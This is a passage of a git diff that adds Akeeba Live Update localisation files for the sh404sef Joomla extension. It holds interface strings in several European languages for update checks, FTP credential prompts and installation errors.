b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/it-IT/it-IT.liveupdate.ini new file mode 100644 index 00000000..98d6bbb6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/it-IT/it-IT.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Live Update" + +LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server" +LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattate il fornitore e chiedete di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, fate verificare la configurazione del firewall per permettere l'accesso al seguente URL:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare %s visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni." + +LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash" +LIVEUPDATE_STUCK_INFO="Live Update ha determinato che, nell'ultimo tentativo di contattare il server di aggiornamento, l'operazione è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazione con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "_QQ_"Verifica disponibilità aggiornamenti"_QQ_" più sotto. Se il risultato è una pagina vuota, contattate il vostro fornitore per segnalare il problema." + +LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e Password oppure il proprio Download ID tra i parametri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'inserimento di tali informazioni." +LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione" +LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili nuovi aggiornamenti" +LIVEUPDATE_CURRENTVERSION="Versione installata" +LIVEUPDATE_LATESTVERSION="Ultima versione" +LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione" +LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto" + +LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti" +LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione" + +LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate correttamente le informazioni di configurazione in Joomla. Inserite qui sotto Username e Password per il servizio FTP per proseguire con l'aggiornamento." +LIVEUPDATE_FTP="Informazioni FTP" +LIVEUPDATE_FTPUSERNAME="Username FTP" +LIVEUPDATE_FTPPASSWORD="Password FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento" + +LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificate che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito." +LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato." +LIVEUPDATE_INSTALLEXT="Installazione %s %s" +LIVEUPDATE_ERROR="Errore" +LIVEUPDATE_SUCCESS="Completato" + +LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato" +LIVEUPDATE_ICON_CRASHED="Live Update non funziona correttamente" +LIVEUPDATE_ICON_CURRENT="Non sono disponibili nuovi aggiornamenti" +LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!" + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/lt-LT/lt-LT.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/lt-LT/lt-LT.liveupdate.ini new file mode 100644 index 00000000..3c6c9342 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/lt-LT/lt-LT.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Automatinis atnaujinimas" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Šiame serveryje automatinis atnaujinimas negalimas" +LIVEUPDATE_NOTSUPPORTED_INFO="Jūsų serveris rodo, kad automatinis atnaujinimas yra negalimas. Prašome susisiekti su savo tinklapio talpintojais ir paprašyti įgalinti cURL PHP plėtinį arba aktyvuoti URL fopen(). Jei šie plėtiniai jau yra įgalinti, paprašykite jų sukonfigūruoti savo ugniasienę taip, kad ji leistų prieigą prie šios URL:" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Jūs visada galite atnaujinti %s rankiniu būdu, aplankydami mūsų tinklapį, parsisiųsdami naujausią programos laidą ir įdiegdami standartiniu Joomla! Būdu." + +LIVEUPDATE_STUCK_HEAD="Automatinis atnaujinimas nurodė, kad įvyko programinė klaida" +LIVEUPDATE_STUCK_INFO="Automatinis atnaujinimas nurodė, kad bandant susisiekti su atnaujinimų serveriu įvyko programinė klaida. Paprastai tai rodo, kad tinklapio talpintojas aktyviai blokuoja ryšius su išorinėmis svetainėmis. Jei norite pabandyti iš naujo parsisiųsti atnaujinimo informaciją, prašome spragtelėti žemiau esantį mygtuką "_QQ_"Atnaujinti informaciją"_QQ_". Jei parodomas tuščias puslapis, norint išspręsti šią problemą turėsite kreiptis į savo tinklapio talpintoją." + +LIVEUPDATE_ERROR_NEEDSAUTH="Norėdami atsinaujinti į naujausią programos versiją, turite nurodyti savo prisijungimo vardą/slaptažodį arba Parsisiuntimo ID komponento parametruose. Kol to nepadarysite, atnaujinimo mygtukas išliks neaktyvus." +LIVEUPDATE_HASUPDATES_HEAD="Yra nauja versija" +LIVEUPDATE_NOUPDATES_HEAD="Jūs turite naujausią programos versiją." +LIVEUPDATE_CURRENTVERSION="Įdiegta versija" +LIVEUPDATE_LATESTVERSION="Naujausia versija" +LIVEUPDATE_LATESTRELEASED="Naujausios versijos išleidimo data" +LIVEUPDATE_DOWNLOADURL="Tiesioginė parsisiuntimo nuoroda" + +LIVEUPDATE_REFRESH_INFO="Atnaujinti informaciją" +LIVEUPDATE_DO_UPDATE="Atnaujinti į naujausią versiją" + +LIVEUPDATE_FTP_REQUIRED="Automatinis atnaujinimas nustatė, kad norint atsisiųsti ir įdiegti atnaujinimą turi būti naudojamas FTP sluoksnis, tačiau Jūs nenurodėte savo FTP prisijungimo duomenų globaliose savo tinklapio Joomla! nuostatose.

    Jei norite įdiegti naujinimą, nurodykite FTP prisijungimo duomenis." +LIVEUPDATE_FTP="FTP informacija" +LIVEUPDATE_FTPUSERNAME="FTP naudotojo vardas" +LIVEUPDATE_FTPPASSWORD="FTP slaptažodis" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Atsisiųsti ir įdiegti naujinimą" + +LIVEUPDATE_DOWNLOAD_FAILED="Nepavyko atsisiųsti atnaujinimo paketo. Įsitikinkite, kad į tinklapio laikinąjį aplanką leidžiama rašyti ir tai, kad Jūsų tinklapio globaliose Joomla! nuostatose įgalintas FTP naudojimas." +LIVEUPDATE_EXTRACT_FAILED="Nepavyko išpakuoti atnaujinimo paketo. Prašome bandyti atsinaujinti rankiniu būdu." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Neteisingas paketo tipas. Atnaujinimas negalimas" +LIVEUPDATE_INSTALLEXT="Įdiegti %s %s" +LIVEUPDATE_ERROR="Klaida" +LIVEUPDATE_SUCCESS="Pavyko" + +LIVEUPDATE_ICON_UNSUPPORTED="Automatinis atnaujinimas nepalaikomas" +LIVEUPDATE_ICON_CRASHED="Įvyko automatinio atnaujinimo programinis lūžis" +LIVEUPDATE_ICON_CURRENT="Jūs turite naujausią programos versiją." +LIVEUPDATE_ICON_UPDATES="GALIMAS ATNAUJINIMAS! NORĖDAMI ATSINAUJINTI SPRAGTELĖKITE ČIA" + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/nb-NO/nb-NO.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/nb-NO/nb-NO.liveupdate.ini new file mode 100644 index 00000000..18b34576 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/nb-NO/nb-NO.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Direkteoppdatering" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Direkteoppdatering støttes ikke på denne serveren." +LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at direkteoppdatering ikke støttes. Kontakt din leverandør og spør om de kan aktivere cURL PHP eller aktivere URL fopen(). Dersom disse allerede er aktivert kan du spørre om de kan konfigurere sin brannmur slik at den gir tilgang til følgende URL:" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere %s manuelt ved å besøke vår side. Laste ned og installer den nyeste versjonen ved hjelp av Joomlas installasjonsfunksjon." + +LIVEUPDATE_STUCK_HEAD="Direkteoppdateringen har merket seg selv som krasjet." +LIVEUPDATE_STUCK_INFO="Direkteoppdatering avdekket at den krasjet forrige gang den forsøkte å kontakte oppdateringsserveren. Dette betyr vanligvis at du benytter en leverandør av netthotell som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å forsøke på nytt å hente oppdateringsinformasjonen, klikk på knappen "_QQ_"Oppdater informasjon"_QQ_" nedenfor. Dersom dette resulterer i en blank side bør du kontakte din leverandør av netthotell for å melde fra om dette problemet." + +LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi ditt brukernavn/passord eller nedlastnings-id i komponentens innstillinger før du forsøker å oppdatere til siste versjon. Oppdateringsknappen vil forbli deaktivert inntil du gjøre dette." +LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" +LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" +LIVEUPDATE_CURRENTVERSION="Installert versjon" +LIVEUPDATE_LATESTVERSION="Nyeste versjon" +LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" +LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" + +LIVEUPDATE_REFRESH_INFO="Oppdater informasjon" +LIVEUPDATE_DO_UPDATE="Oppdater til siste versjon" + +LIVEUPDATE_FTP_REQUIRED="Direkteoppdatering har avdekket at den må bruke FTP, for å laste ned og installere oppdateringen, men du har ikke angitt og lagret FTP-informasjonen under nettstedets globale konfigurasjon .

    Du må oppgi FTP-brukernavn og passord nedenfor for å kunne fortsette med oppdateringen." +LIVEUPDATE_FTP="FTP-informasjon" +LIVEUPDATE_FTPUSERNAME="FTP-brukernavn" +LIVEUPDATE_FTPPASSWORD="FTP-passord" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" + +LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringspakke mislyktes. Påse at temp-mappen er skrivbar, eller at du har aktivert Joomlas FTP-innstillinger under nettstedets globale konfigurasjon." +LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Forsøk å oppdatere utvidelsen manuelt." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Oppdateringen kan ikke fortsette." +LIVEUPDATE_INSTALLEXT="Installer %s %s" +LIVEUPDATE_ERROR="Feil" +LIVEUPDATE_SUCCESS="Vellykket" + +LIVEUPDATE_ICON_UNSUPPORTED="Direkteoppdatering støttes ikke." +LIVEUPDATE_ICON_CRASHED="Direkteoppdatering krasjet." +LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen." +LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE." + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/nl-NL/nl-NL.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/nl-NL/nl-NL.liveupdate.ini new file mode 100644 index 00000000..d2c50a53 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/nl-NL/nl-NL.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Live Update" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund" +LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt %s altijd updaten door onze site te bezoeken, de laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren." + +LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht" +LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "_QQ_"Ververs update informatie"_QQ_" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit." + +LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is." +LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie beschikbaar" +LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al" +LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie" +LIVEUPDATE_LATESTVERSION="Nieuwste versie" +LIVEUPDATE_LATESTRELEASED="Datum laatste release" +LIVEUPDATE_DOWNLOADURL="URL voor directe download" + +LIVEUPDATE_REFRESH_INFO="Ververs update-informatie" +LIVEUPDATE_DO_UPDATE="Update naar de laatste versie" + +LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.

    Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten." +LIVEUPDATE_FTP="FTP informatie" +LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam" +LIVEUPDATE_FTPPASSWORD="FTP wachtwoord" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update" + +LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn." +LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan." +LIVEUPDATE_INSTALLEXT="Installeer %s %s" +LIVEUPDATE_ERROR="Fout" +LIVEUPDATE_SUCCESS="Succesvol" + +LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund" +LIVEUPDATE_ICON_CRASHED="Live Update gecrasht" +LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie" +LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN." + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pl-PL/pl-PL.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pl-PL/pl-PL.liveupdate.ini new file mode 100644 index 00000000..c433494b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pl-PL/pl-PL.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Aktualizacja" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze" +LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować %s odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!." + +LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie" +LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "_QQ_"Odśwież informacje o aktualizacji"_QQ_" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem." + +LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz." +LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna" +LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję" +LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja" +LIVEUPDATE_LATESTVERSION="Najnowsza wersja" +LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji" +LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania" + +LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji" +LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji" + +LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.

    Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację." +LIVEUPDATE_FTP="Informacje FTP" +LIVEUPDATE_FTPUSERNAME="Login FTP" +LIVEUPDATE_FTPPASSWORD="Hasło FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację" + +LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny." +LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana." +LIVEUPDATE_INSTALLEXT="Instalacja %s %s" +LIVEUPDATE_ERROR="Błąd" +LIVEUPDATE_SUCCESS="Powodzenie" + +LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana" +LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się" +LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję" +LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!." + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pt-BR/pt-BR.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pt-BR/pt-BR.liveupdate.ini new file mode 100644 index 00000000..d5b4d781 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pt-BR/pt-BR.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Actualização ao vivo" + +LIVEUPDATE_NOTSUPPORTED_HEAD="A atualização ao vivo não esta suportada neste servidor" +LIVEUPDATE_NOTSUPPORTED_INFO="O servidor indica que Atualização ao Vivo não é compatível. Entre em contato com seu Hosting e solicite que permitam a extensão cURL PHP ou desativem o URL fopen(). Se estão já desabilitadas, por favor, solicite que configurem seu firewall para que permita o acesso do seguinte endereço URL:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sempre é possível atualizar %s, visite nosso site manualmente, baixe a última versão e instale usando o instalador de extensões Joomla!." + +LIVEUPDATE_STUCK_HEAD="Actualização ao Vivo marcou como se danificou" +LIVEUPDATE_STUCK_INFO="Live Update determinou que foi danificado a última vez que tratou de contatar com o servidor de atualizações. Isto d emodo geral indica uma série de bloqueios ativos de comunicação com sites externos. Se deseja voltar a tentar buscar a informação de atualização, por favor clique em 'Atualizar informação de atualização' no botão abaixo. Em caso de ontér uma página em branco como resultado, por favor contate com seu Hosting e informe sobre este tema." + +LIVEUPDATE_ERROR_NEEDSAUTH="Tem que facilitar seu nome de usuário/senha ou ID de download nos parâmetros do componente antes de tentar atualizar a última versão. O botão de atualização permanecerá desativado até que não realize esta ação." +LIVEUPDATE_HASUPDATES_HEAD="Existe uma versão nova disponível" +LIVEUPDATE_NOUPDATES_HEAD="Você já tem a última versão" +LIVEUPDATE_CURRENTVERSION="Versão instalada" +LIVEUPDATE_LATESTVERSION="Última versão" +LIVEUPDATE_LATESTRELEASED="Data do último lançamento" +LIVEUPDATE_DOWNLOADURL="URL de download direto" + +LIVEUPDATE_REFRESH_INFO="Refrescar a informação de atualização" +LIVEUPDATE_DO_UPDATE="Atualizar a última versão" + +LIVEUPDATE_FTP_REQUIRED="Live Update determina que é necessário o uso de FTP para baixar e instalar a atualização, mas não guardou sua informação de acesso FTP em seu site Joomla!, em Configuração Global.

    Indique o nome de usuário FTP e senha para continuar com a atualização." +LIVEUPDATE_FTP="Informação FTP" +LIVEUPDATE_FTPUSERNAME="Usuário FTP" +LIVEUPDATE_FTPPASSWORD="Senha FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Baixar e instalar a atualização" + +LIVEUPDATE_DOWNLOAD_FAILED="O download do pacote de atualização falhou. Assegure-se que seu diretório /tmp pode escrever ou que habilitou as opções de FTP na Configuração Global do seu site Joomla!" +LIVEUPDATE_EXTRACT_FAILED="Falhou a descompressão do pacote de atualização. Por favor, tente atualizar a extensão manualmente." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de pacote não é válido. A atualização não pode continuar." +LIVEUPDATE_INSTALLEXT="Instale %s %s" +LIVEUPDATE_ERROR="Erro" +LIVEUPDATE_SUCCESS="Êxito" + +LIVEUPDATE_ICON_UNSUPPORTED="Atualização ao Vivo não suportadactualización en Vivo no soportada" +LIVEUPDATE_ICON_CRASHED="Atualização ao Vivo foi danificada" +LIVEUPDATE_ICON_CURRENT="Você tem a última versão" +LIVEUPDATE_ICON_UPDATES="ATUALIZAÇÃO ENCONTRADA! CLIQUE PARA ATUALIZAR." + +LIVEUPDATE_RELEASEINFO="Informações" +LIVEUPDATE_RELEASENOTES="Notas de lançamento" +LIVEUPDATE_READMOREINFO="Leia mais" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pt-PT/pt-PT.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pt-PT/pt-PT.liveupdate.ini new file mode 100644 index 00000000..054bb0eb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/pt-PT/pt-PT.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. 